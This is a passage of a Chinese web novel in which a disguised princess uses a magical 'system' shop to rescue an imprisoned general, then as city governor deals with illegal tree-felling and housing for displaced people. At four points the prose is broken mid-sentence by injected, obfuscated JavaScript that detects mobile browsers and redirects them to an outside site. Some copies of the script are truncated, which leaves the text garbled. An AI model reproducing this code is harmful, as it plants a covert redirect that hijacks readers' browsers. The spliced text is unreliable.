邢玉楼以前目光炯炯,很有威严,让人不敢直视。可是现在,他双目无神,精神颓丧,似乎已经意气消磨,连力气都没有了。 他们两人看见萧柠,以为她是巡逻的士兵,都露出戒备的神色。 任将军问道:“你进来做什么?” 萧柠赶紧关上房门,小声道:“任将军,邢副将,是我,大公主。” 任将军和邢玉楼都有些惊讶。 他们仔细看了萧柠几眼,还是跟记忆中的萧柠对不上号。 他们虽然已经四五年未见萧柠了,但依稀还记得她的模样。眼前之人,分明就是看守他们的士兵之一,怎么会是大公主? 可是,她的声音却跟大公主很像…… 萧柠解释道:“我化妆成了一个士兵的样子,所以跟原本的模样相去甚远。你们听我的声音就知道了。” 任将军道:“声音倒很像大公主,只是我们不敢相信。要不阁下还是卸了妆,我们再辨认一下吧。” 萧柠道:“我不能卸妆,一会我还要凭借这副妆容才能平安离开。要不这样,我说一些只有大公主才知道的事吧。任将军,当年我在栾伊城时,你曾为士兵举办篝火晚会,邀请我去参加。结果军营失火,你们差点怪罪在北胤战俘身上。后来查出是你身边的副将高天阔搞的鬼,后来高天阔被你降级为普通士兵了,是不是?” 任将军惊讶道:“是有这么回事……” 萧柠又对邢玉楼道:“邢副将,当年虎贲军有两千多士兵被北胤俘虏,是我出钱把那些士兵赎回来的,你还有印象吗?” 邢玉楼点头:“没错……这么说,您真是大公主?” “是的。” 任将军和邢玉楼都喜出望外。随即,他们都露出担忧的神色。 任将军道:“大公主,您快走吧,别牵扯到军中的事来,就当没见过我们。否则,那些人可能会对付你。” “没关系,我现在乔装改扮,暂时是安全的。要不这样,你们先跟我说说具体情况,我再考虑要不要管你们的事。” 萧柠心中自然不愿弃他们于不顾,现在这样说,只是为了安抚他们,免得他们为萧柠担忧。 任将军便说道:“这几年来,我一边守卫边关,一边攻打容城,想把容城夺回。但北胤将领十分狡猾,他们经常把容城的百姓绑在城墙上,让我们投鼠忌器,不敢攻城。那些百姓都是我南萧国人,自然不能让他们没了性命。 因此,夺城一事拖了许久。直到前几个月,我才趁北胤将士放松警惕之时,出其不意,一举夺回容城。 只是,我这些年心力交瘁,又受了很多伤,身体早已垮了。在容城回归之后,我就病倒了。我让我的心腹将领们处理军中事务,我自己安心养病。 我感觉,我的病应该是不会好了,即便稍有好转,也肯定没法再行军打仗了。 我正在考虑要不要递上折子,请求回京休养,皇上就派了监军齐泰源和靳海涯将军过来。 齐监军本是来监督军队的,小靳将军也只是担任虎贲军的中级军官。我本来没有在意,只是心中有所不满。因为边境局势不稳的时候,不见他们过来帮助;等将士们累死累活攻下容城,局势稳定之时,他们倒过来了,还直接占据了两个重要的职位。 但是,一开始我也没有引起注意。直到后来,我在睡觉时被转移到了这里,被人看管起来。齐监军和靳海涯在外面频频跟我的副将们产生冲突。齐监军是天子近侍,靳海涯是靳妃的侄子,他们地位都很高,副将们不敢一直跟他们作对。 后来,他们逐渐蚕食了军中大权,架空几位副将。有不服的将士,就被他们派出去打仗,或是干苦力活。但是,这些被派出去的将士,没有足够的粮食、衣服和装备,向上级申请,也申请不到。所以,他们要么战死,要么累死,消耗得很快。 如果有军官战死,职位空缺,他们就用自己的亲信补上。邢副将在如此艰苦的条件下,还打赢了两次战役,所以他们把邢副将跟我关在了一起。 这段时间,我们每天只能吃一小碗饭,饿不死,但也没力气。 我所需要的药倒是隔三差五 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147047|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地送来,我估计他们也不敢明目张胆地谋杀我,才如此做。 不过,我觉得我的身体撑不了多久了。再过几天,我可能就死了。到时候,齐监军和靳海涯就可以接管全部军权。” 任将军气息微弱,这番话也是好不容易才说完。 萧柠听得气愤不已,问道:“除了邢副将之外,您的其他亲信都死了?” “都死得差不多了……具体情况我也不太清楚,我一直被关在这里。” “任将军放心,我一定会救你出去。” 任将军摇头:“大公主还是别淌这趟浑水了。别说你救不出我,就算救出我,我也活不了多久,没有意义,反而让你白白得罪了齐监军和靳家。万一他们把我的死栽赃在你的头上,你就有麻烦了。” 萧柠情急之下,用意念呼叫系统:“多宝,你在吗?” “我在。” “任将军真的快死了吗?” “根据我的大数据对人类的认知,他确实已经病重了,估计活不了多久了。具体还能活几天,我可以帮你查,但是要一万积分。” “算了,不用查这个。商城里有没有什么能让任将军恢复的药?” “有回魂丹,六万积分一颗,人吃了百病全消,生龙活虎。” “我买一颗。” “好的,积分已扣除,现在的积分是75850。回魂丹已经出现在你手里。” “邢副将也没什么力气,有什么能令他恢复力气的药?” “他身体没有大问题,只是饿出来的体虚乏力,不需要吃回魂丹。商城里有体力丸,两万积分一颗。” “好,我买一颗。” “积分已扣除,现在的积分是55850。体力丸已经出现在你手里。体力丸是蓝色的,回魂丹是红色的。” 萧柠感觉到手里确实出现了两颗药丸。 她对任将军和邢玉楼道:“我这里有两颗丹药,是高价够得,据说对身体恢复有奇效,你们吃了吧。” 说着,萧柠以迅雷不及掩耳之势,把回魂丹喂给了任将军,把体力丸喂给了邢玉楼。 他们两个还来不及拒绝,就把药丸吞了下去。 邢玉楼站起身来,活动了一下四肢,奇道:“这丹药真有效,我现在觉得浑身充满了力气。” 任将军也坐起身来:“我也感觉好多了……” 萧柠道:“任将军,您站起来试试。” 任将军站了起来,惊讶地看着自己的四肢。他感觉到气血畅通,精神饱满,这是他年轻时才有的状态。 邢玉楼惊讶地看着任将军,道:“将军,您的脸色……” 任将军问道:“怎么了?” “您的脸色非常红润,看起来很健康。总之,您已经许多年没出现过这么好的气色了。” “是啊,这丹药真灵……而且好像一点都不饿了。” “我也是,刚才还饿得发晕,现在完全不饿。” 他们两人非常高兴,互相拍了拍肩膀。 任将军看向萧柠,道:“公主,这两颗丹药多少钱?我给你钱。” 105. 反攻(修) 萧柠:“不用了,只要能帮到你们就好。” “公主救命之恩,末将没齿难忘。” “现在说救命之恩为时尚早,你们还没出去呢。” 任将军也冷静了下来,道:“是啊,我们的兵器都不在身边……” “任将军,邢副将,如果你们俩有武器,能制住齐监军和靳海涯两人吗?” “可以。” “那就行,我去给你们搞两把武器,然后想办法引齐监军和靳海涯过来。” “公主有什么办法?” 萧柠小声说了几句话,任将军和邢玉楼相视一笑,都觉得萧柠很聪慧。 —— 萧柠走了出去,见有几个士兵坐着休息,他们的刀放在一边,便对他们说道:“兄弟们,我帮你们擦一下刀。” 那几个士兵笑道:“你今天怎么这么勤快?” “是啊,可能是晚饭吃太多了,撑得慌。” 说着,萧柠很自然地去拿那几把刀,那些士兵也没有在意。 萧柠把刀拿进了屋内,偷偷交给了任将军和邢玉楼。 他们每人分到了两把刀。 邢玉楼掂了掂刀,笑道:“这下胜券在握了。” 萧柠对任将军道:“请任将军现在闭气装死,我会在外面制造混乱,引齐监军和靳海涯来。到时候你们出其不意,制住他们。” 任将军点头:“好。” “到时候我就不在现场了,以免暴露身份。但我会和两个护卫在一边观察情况,如果情况不对,我会来增援。” 商量好了之后,任将军便把刀藏在床上,然后躺下装死。 邢玉楼也把刀藏在床下,躺在旁边装晕。 萧柠见他们的伪装没什么破绽,便跑到了门口,慌慌张张地对其他士兵说道:“不好了,任将军死了!快去通知齐监军和小靳将军!” 有一群士兵要往军营方向冲,萧柠赶紧说道:“别去太多人,去两个人就可以了!别惊动其他人,军中还有不少士兵是支持任将军的。” 士兵们觉得萧柠说得对。于是,只有两名士兵跑去报信,其他人留下了。 他们想进屋去看看情况,萧柠道:“别一下子都进去,万一破坏了现场,上峰怪罪,就不好了。我看,也派两个人进去看看就行了。” 于是,有两名士兵进屋,看见任将军闭着眼睛,便伸手去探他鼻息。 任将军故意闭气,两个士兵以为他真的死了。他们又见邢玉楼倒在一边,想是饿晕了,也不足为惧。 确认好了之后,他们便走出了大门,对其他士兵点点头道:“任将军确实死了。我们先守在这里,别让人进去,等齐监军和小靳将军来了,再做打算。” 而萧柠早在混乱当中逃跑了,去跟树林里的鸾音和另一个侍卫会合。 这片树林的树并不多,如果是白天,是藏不住的。 但现在夜深人静,光线昏暗,她们三个躲藏起来倒是没问题。 她们没有说话,留心观察着任宅的动静。 过了一会,齐监军过来了,他身后还跟着一个高个子少年。 天太黑了,看不清那少年长什么样,只能看出他很瘦,步履很慌乱,但穿着等级很高的军中常服,应该就是靳海涯了。 齐监军走得虽急,整个人看起来确实很稳当的。相比之下,靳海涯有一种经不住事、毛毛躁躁的感觉。 他们两个进去之后,士兵们也跟着进去了。 没过多久,里面就乱糟糟的,响起了很多声音,似乎很多士兵有些慌乱。 萧柠也听得心焦,不知里面如何了。 鸾音拍了拍萧柠的肩膀,小声道:“公主别担心,一旦有变,我和孙北固会进去支援。” 孙北固就是旁边那个侍卫,是萧柠的随从之一。 萧柠点了点头。但她有些担忧,只有这两个人支援怕是不够。现在再回去找人也来不及了。 只能希望任将军和邢玉楼他们成功了。 没过多久,任宅外面的士兵们忽然分开向两边,把中间的通道空了出来。 他们一个个如临大敌,手里拿着武器,却把武器往后缩,不敢朝前伸。 接着,任将军和邢玉楼走了出来。 邢玉楼挟持着靳海涯,所以那些士兵都不敢出手,怕误伤了靳海涯。 任将军却没挟持着齐监军,不知道怎么回事。 萧柠凝神一看,见任将军和邢玉楼行动自如,似乎都没受伤,便放下心来。 这会靳海涯脸朝外,萧柠才看清他的模样。 靳海涯的长相可以说是玉树临风了,而且非常白,一看就没怎么晒过太阳。 他在边境几个月,竟能白成这样,一看便知他平时过的是什么日子。 只怕他一直在当甩手掌柜,一切杂务都是齐监军替他操持的。 此刻他脸色非常慌张,似乎还哭了,应该是被吓的。 他这副模样,便是再英俊,也让人瞧不上。 这时,任将军也朝萧柠她们看了过来。 任将军知道萧柠等人的躲藏点,这是萧柠之前告诉他的。 萧柠用眼神询问任将军是否需要帮助,任将军微微摇了摇头。 接着,他摆了摆手,做出一个离开的手势,似乎是叫萧柠等人离开。 萧柠留神看任将军身后,也没有看见齐监军的身影,便猜测齐监军可能被杀了。 任将军既然叫她走,便是对目前的局面有把握。 萧柠相信他,因此便偷偷带着鸾音、孙北固离开了。 在这种场合,能不出现就不出现的好。 虽然她跟靳家已经有不小的过节了,但能少结个梁子,自然好一些。 回去的路上,孙北固问道:“公主,要把那个士兵沈康的腰牌还给他吗?” “找个机会还给他吧,他也只是个士兵,奉命行事而已,别把他给害死了。” “是,那小人明天偷偷把腰牌还回去。” 第二天,听说靳海涯带着一批亲信离开了容城。齐监军果然已经死了,尸体也一并运了回去。 萧柠正想派人去军营问问昨晚的事,这时,有一个军官过来找萧柠了。 这个军官矮小精干,步履矫捷,萧柠觉得以前似乎见过他。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147048|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他自我介绍道:“公主,下官是军中校尉孟休,是任将军的心腹。五年前您在栾城,我们也曾见过。” 萧柠想起来了:“你是孟休,我记得你。之前你还是百夫长,现在升为校尉了。是不是任将军派你来的?” “是,任将军让下官向公主说明一下情况,免得公主担心。昨天晚上,齐监军和小靳将军进去之后,本以为任将军已死,就放松了警惕。谁知这时,任将军和邢副将突然起来,拿刀挟持了齐监军和小靳将军。 一切发生得太快,他们两个来不及反应。其他士兵也不敢轻举妄动。 齐监军有些慌张地问任将军,为何他的身体恢复了。任将军没有回答,反而怒斥齐监军和小靳将军这些天的恶行,说他们软禁朝廷大将,排除异己,故意克扣打仗将士的食物和装备,造成很多不必要的牺牲,还用见不得光的手段替换了很多军中将领。 任将军说,自己要先绑了他们两个,然后上一封奏折,向皇上陈述齐监军和小靳将军的罪状。 齐监军还没说什么,小靳将军却先慌了,说这一切都是齐监军的主意,自己什么也不知道。他说自己只是齐监军的傀儡,很多事都是齐监军决定以后,再逼他盖下印章的。 齐监军虽然有些惊讶,但却没有反驳,只是神色看起来有些失望。 小靳将军说完,似乎是怕任将军不信,竟抢了旁边一个士兵的刀,刺进齐监军的心口,齐监军当场毙命。” 萧柠惊讶道:“什么?齐监军是被小靳将军杀的?” “是的,当时谁也没想到,小靳将军被挟持了,还能想到杀人嫁祸。当时小靳将军跟齐监军离得很近,所以才能刺中他。” “后来呢?” “后来,小靳将军一直在辩解,说一切罪行与自己无关,只要任将军放了他,他愿意认任将军为义父。” 一旁的鸾音、绿袖等人,都忍不住笑出了声。 萧柠也有点想笑,但她忍住了,继续问道:“任将军肯定没有同意吧?” 孟休道:“那当然不能同意,谁想要这样的义子啊。任将军跟他谈判,说放了他也不是不行,他必须跟皇上说,他自己不想在容城待了,请求回京,并把他在虎贲军中安插的亲信全部挂印辞官,跟他离开。 小靳将军忙不迭地就同意了。他的党羽还想垂死挣扎,被小靳将军一顿臭骂,说他们不顾他的死活,是不是想造反。 于是,他的党羽们都只好挂印辞官,把职位还给原来的人。小靳将军被释放,他连夜就带着齐监军的尸体,还有其他心腹离开了容城。 小靳将军在的时候,我被贬为士兵,每天都要干很多重活,还吃不饱。任将军恢复了我校尉的职位,并让我们这些被打压的亲信都多吃点饭,休养几天,再开始操练。 昨晚忙了一宿,我们都没睡觉。任将军让我先来跟大公主说明情况,然后再回去睡觉。” 萧柠道:“辛苦孟校尉了,你快回去吧。虎贲军拨乱反正,我也可以放心了。” “对了,任将军和邢副将还让我带句话,说是大公主以后有什么吩咐,只要不违律法、不违军令,都可以让他们去办。” 106. 砍树(修) “我知道了,替我多谢他们的好意。” 系统道:“萧柠,你解决了虎贲军中的矛盾,救出任将军、邢副将,获得三万积分。现在的积分是85850。” “好的。” 萧柠来到公廨,下属们纷纷行礼。 萧柠道:“诸位不必客气。本官初来乍到,有赖诸位扶持。不知容城情况如何?有什么紧急政务?” 司马凌长空道:“公主……太守……” 萧柠笑道:“怎么顺嘴怎么叫吧。” “是,那下官以后称您为公主了。容城现在财政赤字严重,但又有很多要用钱的地方。巧妇难为无米之炊,有很多政务就算想解决,也解决不了,只能拖着。” 萧柠问道:“赤字多少?” “八万多两。现在还有几桩事急等着用钱呢,缺口越来越大了。” 萧柠吓了一跳。这笔钱可不是个小数目。 她沉吟道:“看来,只能想办法开源节流了。” “我们已经尽量节省了,大伙都勒紧裤腰带过日子。就连官吏们的俸禄,也有两个月没发了。若要开源,却不是那么容易。之前这几年,容城一直在北胤的统治之下。容城百姓组织了几次反抗,被北胤军队镇压。 由于容城不太平,经济也发展不起来,反而有许多人破产甚至丧命。” 萧柠也知道,容城的历史遗留问题比较严重,只怕不是一时半会能解决的。 她说道:“先办理一些容易解决的政务,至于钱的方面,容本官再想想办法。” 萧柠觉得,自己至少要先在容城逛一逛,了解一下基本情况,才能想出对策。 这时,有几个衙役回来了,他们还带回三十多个百姓。 这些百姓的手全被一根绳子绑在一起,只要牵着第一个人的绳子,后面的人就鱼贯而入。 还好公堂比较大,不然都站不开。 萧柠赶紧升堂,问那些衙役:“怎么回事?这些百姓犯了什么罪?” 衙役们让百姓跪下,然后禀告道:“启禀大人……启禀公主……太守大人……” 衙役换了好几个称呼,最终大概觉得公主比较顺口,便说道:“公主,这些百姓去山上偷偷砍树,违反了容城的律法,所以小的们将他们带了回来,请公主处置。” 有几个百姓叫道:“冤枉啊,我们砍树只是为了盖房子。” “对,之前容城战乱的时候,很多房屋毁于敌军之手,我们这些年无家可归,一直借住在别人家,很不方便。” “砍树也违法?还让不让人活了?” 有个衙役喝道:“不得喧哗!” 萧柠有些好奇,问旁边的凌司马:“为何不让砍树?” “公主有所不知,容城气候干燥,风沙大,环境的维持少不了植被。如果树木太少,容易引起山体塌方、泥石流、地下水发黄变质、地面下降等种种问题。而且,容城跟北胤接壤,士兵们需要树木作为遮掩。如果树木被砍伐过多,士兵们能躲藏的地方就少了,这是非常严重的问题,直接关系到边界线能否守住。 所以,容城历年来对砍树都有严格的规定。早些年只是让百姓少砍,但后来植被不够,就改成了不能砍。尤其是现在,容城刚刚回归,北胤那边还虎视眈眈,想伺机夺回容城。 在这种情况下,对于伐树行为,自然是严令禁止。” “原来如此。堂下的百姓,你们砍了多少树?” “才砍了五六棵,就被抓到了。” 旁边的衙役大声道:“五六棵?你们知不知道你们砍的都是五十年以上的古树,这种树现在很少了!你们给容城造成多大的损失?” 有个百姓道:“这有什么?山上还有那么多树呢!再说了,我们在北胤人手里吃了这么多苦,砍几棵树盖房子怎么了?我是容城人,我说可以砍树!” 有几个胆大的百姓也跟着起哄:“我是容城人,我同意砍树!” “我是容城土生土长的百姓,我同意砍树!我同意盖房子!” 萧柠一拍惊堂木:“肃静!你们当这里是菜市场呢!” 这时,那群百姓竟全都倒在了地上。 萧柠仔细一看,原来是有几个年老的百姓跪不住了,倒下了。由于所有的百姓都被绑在一起,其他人也不自觉地倒在了地上。 年轻人想起来,老人起不来,堂下乱糟糟的。 萧柠让衙役们搀扶一下,可是有几个老人膝盖不好,刚刚跪下,又倒了。 萧柠道:“罢了,所有人都站起来吧。” 衙役们扶那些百姓站起来,可是有几个人大概是累了,连站也站不住,又倒了下去。 这下,一长串的人全摔在了地上,噼里啪啦的,萧柠听着都疼。 萧柠揉了揉额头,道:“把他们的绳子解开,能站的站,能跪的跪,跪不住的就躺着好了。” 谁知,衙役说道:“公主,这绳子不能解开。” “如何不能?还不赶紧解开!绑成一团,跟泥鳅似的,成何体统?” 衙役们有些犹豫,但又不敢违背萧柠的命令。 于是,他们把百姓们手里的绳子解开。 谁知,绳子一解开,就有十几个年轻力壮的百姓往外跑,衙役们赶紧把他们抓回来,不由分说,重新绑上了绳子。 萧柠这才明白衙役们为何要这样绑人,哭笑不得。 萧柠对他们说道:“你们跑什么?” “回大人,不跑就要受罚!” “我们只是砍了几棵树,我们不想接受审判!” “大人,我跑不是想逃走,我就是活动活动身子!” 萧柠有点想笑,硬生生忍住了,道:“事情未完之前,谁也不许走,全都给我跪好。来人,拿几个软垫子来,给腿脚不便的人使用。” 有个书吏说道:“公主,没有软垫子。” “我房间里有,去我房间拿吧。” “是。” 书吏有些惊讶,他没想到萧柠会把自己的物品拿出来,给百姓用。 很快,软垫子拿来了,腿脚不便的老人也能跪得住。 萧柠接着说道:“既然树已经砍下来了,也装不回去,就先给你们用吧。但是你们每人要种十棵树,在官府的监督下完成。” 萧柠看向旁边一个叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147049|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朱云卿的书吏,道:“朱书吏,就由你来监督这些百姓植树,种完之后把结果上报。” 朱云卿起身道:“是。” 这些百姓喜出望外,纷纷感谢萧柠。 但是他们又有些为难地说道:“大人,我们就砍了几棵树,也只够盖一间房子,我们这么多人还是不够住……” 萧柠道:“你们千万不能再去砍树了。房屋不够,本官来想办法。” 萧柠问凌长空:“凌司马,以前遇到这种情况是怎么做的?” 凌长空道:“容城以前一向是向外地采购木材,给百姓建屋、烧饭用。自从容城回归之后,我们也打算继续采购木材,但账面上没钱了,外地的木材商不肯赊账,所以这事就耽搁了下来。” “这么说,木材还没有买下?” “没有。” “容城缺少房屋的百姓有多少?” “大概有两万多吧。” “两万多人……如果一家是四口人,大概有五千多户人家没有房屋……每一户人家至少要两间屋子,那就一共要建一万多间房屋……” 萧柠算了算每间房屋需要用到的木头数量,结合现在的木材价格,要给所有流离失所的百姓盖房子,大概需要十几万两银子的木材,还不算砖瓦、土坯等其他材料的价格。 实际上每家一间是不太够的,至少要两间,也就是至少要三十多万两银子的木材钱。 萧柠问道:“以前这笔钱也是官府出吗?” 凌长空道:“在正常情况下,老百姓要盖屋,自然是自己出钱。但灾后重建的话,以官府出钱为主。如今这两万多百姓的房屋毁于战火,并非他们自愿,所以官府要承担大部分,至少木材要为他们准备好。” 萧柠点头道:“我明白了。我先向朝廷上奏折,请求财政拨款。如果没有拨款,再想其他办法。” “公主,据下官所知,国库连年空虚,有很多要紧的项目都需要钱,怕是没有多余的钱拨给我们。” 萧柠也对国库的情况有所了解,忧心忡忡地道:“没关系,我先写了奏折再说。” 接着,她对百姓们说道:“你们砍伐的是几十年的古树,比一般的树木要粗,切割拼凑一下,盖两三间房屋是够了。你们既然一起砍树,想必关系不错,就先挤一挤吧,打个地铺,总能睡下的。等购买的木材到了,再给你们建更多的屋子。” 百姓们都有些犹豫:“不行啊公主,我们这些人,一共来自十户人家,而且有男有女的,一起住不方便。” “是啊,有几个人还生病了,万一互相传染怎么办?” “我跟齐大柱可以一起干活,但不能一起住,住一起就打架。” “我跟春花婶生活习惯不同,互相看不惯,如果住一间屋子,一定从早吵到晚。” “大人啊,我已经老了,睡得早起得早,作息跟这些年轻人不一样,住在一起谁都别想睡好。” “大人,你不知道七七嫂有狐臭,我可闻不了那味。” “嘿,你说什么呢,谁有狐臭?我看是你的脚比较臭。” “我的脚臭可以穿鞋子盖住,你的狐臭能盖住吗?” 107. 租房(修) 眼看着他们又开始喧哗,萧柠大声道:“安静!本官也知道,要你们住在一起多有不便。可是现在,容城久经战火,刚刚安定下来,不止百姓有难处,官府也有难处。如果账面上有钱,我们一定优先解决老百姓的需求。 可问题是没钱。官吏们的月俸已经两个月没发了,他们日子也不好过。现在是需要我们共同进退、共克时艰的时候,请大家能忍的尽量忍一下吧。 挤在一起住,总比之前没屋子住的情况要好多了。至于男女混住不便,可以男的睡一边,女的睡另一边,大家都把衣服穿好一点,不要随便脱衣服,就没问题了。 一间屋子住十几个人,有点动静大家都看着,不会出问题的。只要不是一男一女独处一室,问题不大。至于生活习惯的问题,大家互相包容一下。你们觉得呢?” 萧柠的一番话,有理有据,又很善解人意,让人说不出反对的话来。这些百姓也没想到,一城长官竟会如此温和地对他们说话,一时都愣住了。 过了一会,他们才纷纷说道:“没问题,听公主的。” “对,我们听公主的,反正挤在一起只是暂时的嘛。等新的木材运到了,我们就能分开住了。” “公主说的极是。” 这时,有个年轻人道:“公主,我觉得不公平。” “哪里不公平?” “我们的房子被毁了,但还是有很多百姓的房子没被毁。跟他们比起来,我们要重新盖房子,很不公平。” “战乱之时,有人的财物被毁,有人的财物没被毁,这都是很随机的事,也没有办法。” “这不公平,我们要求官府赔偿!” 凌长空皱眉道:“你们怎么不要求北胤人赔偿?对着同为南萧国人的我们发火算什么本事?又不是我们毁了你们的房屋。” 那年轻人把脖子一缩:“我……我怎么敢跟北胤人叫板?在北胤人统治容城的时候,我们能活着就不错了,哪里敢要求这么多?” 见这年轻人理直气壮地说出这话,凌长空气笑了,其他书吏也纷纷摇头。 萧柠道:“虽然你们的房屋、财物被毁,相比于其他百姓来说是倒霉了一些,但是你们砍伐山中古树,也违反了律法,却没有受到太大的惩罚。而且,你们还能使用这些古树盖房子。两件事相抵,你们也不算吃亏。” “对哦,我们可以用山中古树盖房子,其他人不行……” 这年轻人想了想,觉得在这件事上确实占便宜了,也就没意见了。 萧柠打发他们去种树,让朱书吏和几个衙役去监督。 种完树后,那群百姓就可以盖新房子了。 忙完了这件事后,萧柠觉得头昏脑涨。 跟百姓打交道可真不容易。 她略作休息,便开始写奏折,写明容城财政的困难,请求户部拨款。 写好后,她派侍卫快马加鞭,把奏折送到京城。 有个衙役把地上的垫子收起来,问萧柠道:“公主,您的垫子被百姓们用过了,您还要吗?不要的话,要不属下拿去扔了?” “要不就把这几个软垫放在公堂这里使用吧,以后凡是有百姓来告状,都可以跪在软垫上。直接跪地上又凉,膝盖又疼。” 众人听见这话,都有些惊讶。 有个衙役笑道:“公主,您太贴心了。百姓们跪一下没事的,他们都是过惯苦日子的。” “虽然如此,总是跪在垫子上更舒服吧?很多百姓常年劳作,腿脚不好。公堂问话又常常需要很多时间。还是把这些软垫留下吧。这几个可能不够,我再去买几个。” 凌长空道:“公主,官府账面上没钱……” “我知道,我自己出钱吧。几个软垫的钱,我还出得起。” 众官吏心中都很震撼,心里都很佩服、尊敬萧柠。只是,他们不好意思把夸赞的话说出口。 大部分人遇到自己真正尊重、感佩的人,反而是说不出漂亮的场面话的。 萧柠派人去买了十来个厚厚的软垫,放在公堂备用。 系统给萧柠结算了一万积分,现在的积分是95850。 过了一会,萧柠问凌长空:“凌司马,你方才说有两万多百姓流离失所,那他们住哪里?” “基本上住大街上。有些百姓有亲朋好友,可以暂时借住,但也没法一直住着,住一段时间,他们还是会搬回到大街上。” “这……要是刮风下雨了呢?” “那也没办法。” “你们怎么不想想办法?” “公主,容城被北胤统治的那几年,我因为身怀武功,被铁链锁在大牢里好几年,没法出来。其他官吏也在北胤长官的监视下干活,没法暗中照顾百姓。” “对不起,我不知道……” “公主无需自责,您也不了解情况。” “看来得尽快解决木材的问题……但是即便买到木材,运到容城还需要一段时日。在这段时间,得解决这些流民的住宿问题。凌司马,不知能不能让他们租其他百姓的房子住?他们出不起租金的话,先欠着。” “我们试过用这个方法,但百姓们不太愿意。有房的百姓很多都不想跟陌生人一起住,而且房屋空间有限,也住不开。他们也不愿意接受拖欠房租。 而无房的百姓不太愿意花钱租房,他们觉得自己原先是有地方住的,家被敌军毁了才睡大街,他们如果租房,对自己来说不公平。所以,他们宁可在大街上打地铺。” “可是,睡大街上既不卫生,又危险,而且生病的可能性更大。” “他们知道有这些风险,但他们宁可忍受这些,也不愿花钱。” 萧柠明白这些百姓的心理。百姓的生活不容易,赚钱也不容易,萧柠不会苛责他们。 她想了个折中的方法:“要不这样,愿意出租房屋的人家,可在官府登记,以后容城有什么福利,都优先让他们享有;愿意租房住的百姓,由官府补贴三分之二的房租,我们先向房东们打欠条,等有钱了就支付这笔费用。前五百名完成租房的房东和租客,还可以获得官府发的小礼品。” 凌司马道:“是个好主意,可以先张贴告示,看百姓们愿不愿意响应。不过,这买小礼品的钱恐怕拿不出来……” “要不还是我先拿钱垫着,等官府有钱了,我再报销。买小礼品也花不了多少钱。” “公主,您这是赔钱当官啊。” “没办法,现在比较困难嘛,先把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147050|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼前的难关渡过去再说。对了,再派人去采购一些食物、布匹,给容城的大小官吏们发放,免得大家无衣无食。这笔钱也先我垫付好了。” “多谢公主。” 其他正在忙碌的官吏们,听见萧柠的话,也纷纷站了起来,对萧柠行礼感谢。 萧柠笑道:“大家不必客气。” 系统给萧柠结算了4000积分,现在的积分是99850。 —— 书吏们按照萧柠所言,写好了几十张告示,张贴在大街小巷。 百姓们看了告示,都有些心动。 “官府补贴三分之二的房租?那我想租房子。” “只出三分之一的话,我也租得起。” “出租房屋的房东可以优先享有容城的各种福利……听起来不错哎,我家还有一间空屋子,我这就去打扫出来。” “可是,官府要先向房东打欠条……这笔钱也不知道什么时候能给我们。” “只要南萧国还在,迟早会给钱的。” “迟是多迟,早是多早?我不想要这种不确定的钱。” “我倒想出租,反正跑得了和尚跑不了庙。” “前五百名成交的人可以有小礼品哎,不知道小礼品是什么?” “该不会是什么不值钱的东西吧?” “不值钱的我也要,不拿白不拿,我要去租房了,你们谁都别跟我抢。” “我也想要小礼品!许愿一个金镯子!” “噗,你真敢想,你怎么不许愿要一座金山呢?” “如果官府给我金山的话,我也要!” “你想得美!” “许愿一个摔不坏的铁盆……我要铁盆我要铁盆……” “许愿一个布老虎……” “别在这里许愿了,已经有人偷偷去官府领礼品了,大家快过去啊!” “啊等等我……” 萧柠准备了五百份小礼品,礼品的种类有很多,放在不透明的盒子里。 要领取礼品的百姓,可以自己选,选到哪个就是哪个。 这叫盲盒,是夸夸群的群友们教萧柠的。 百姓们都对这种形式的礼品很感兴趣,他们跃跃欲试,一会摸这个盒子,一会摸那个盒子,每个人都要选好久,才能确定自己要拿哪个盒子。 还有些人往自己手上吹气,一边吹气一边说“希望手气好一点,拿到最贵的礼物”之类的话。 很快,五百份礼品就被拿完了,这也意味着有几百个百姓已经找到了住的地方。 接下来还有许多百姓蜂拥而来,萧柠只能大声解释礼品已经没有了,但百姓们不愿离去。 